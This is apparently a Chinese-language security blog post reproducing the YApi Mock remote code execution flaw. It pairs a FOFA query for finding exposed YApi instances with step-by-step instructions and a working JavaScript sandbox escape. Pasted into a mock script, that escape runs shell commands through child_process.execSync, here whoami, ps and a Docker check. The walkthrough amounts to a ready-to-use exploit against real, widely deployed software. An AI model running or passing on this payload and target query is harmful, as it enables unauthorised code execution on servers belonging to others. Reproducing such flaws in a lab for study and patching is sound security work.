编者注
广诚市保卫者
最近这个漏洞被炒作的火热,各种公众号在发,所以我们也免不了俗套。
YApi有个特点就是大多数环境均为docker下。
01
漏洞描述
YAPI接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。
YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问 YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代码。
其实这个漏洞主要有两个点:
1、允许任意用户注册
2、Mock可以执行任意命令
攻击路径 |
远程 |
攻击复杂度 |
低 |
权限要求 |
低 |
用户交互 |
不需要 |
02
搜索规则
fofa |
app="YApi" |
03
靶标环境
04
漏洞复现
本漏洞复现相对较为简单,一般默认端口为3000。
首先注册账户test。
然后添加项目
项目名称随便写,然后创建即可。
创建后默认进入到项目中,在项目中添加接口,接口也随意添加,我这里还是添加test
创建好了以后进入设置,进入mock配置,填入如下代码:
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami;ps;cat /proc/1/cgroup").toString()
注意要勾选开启。
回到接口点击对应的接口名称,这里是test。
访问mock地址即可看到执行返回结果。
可以看到执行了所有输入的命令
这里要说明一下为啥要执行cat /proc/1/cgroup,由于我们要判断对方是不是docker启动,默认情况下docker启动会看到上面的类似信息。如果不是docker则出现下图所示内容。
备注:这里只是用来判断docker的情况,是否是虚拟机是无法判断的。
05
参考资料
https://blog.csdn.net/u010913001/article/details/106488517
广诚市保卫者
在平行世界的另一头“广诚市”上演着一幕幕黑客围城。
长按二维码关注
发现“分享”和“赞”了吗,戳我看看吧
本文始发于微信公众号(广诚市保卫者):YApi授权Mock 远程代码执行漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论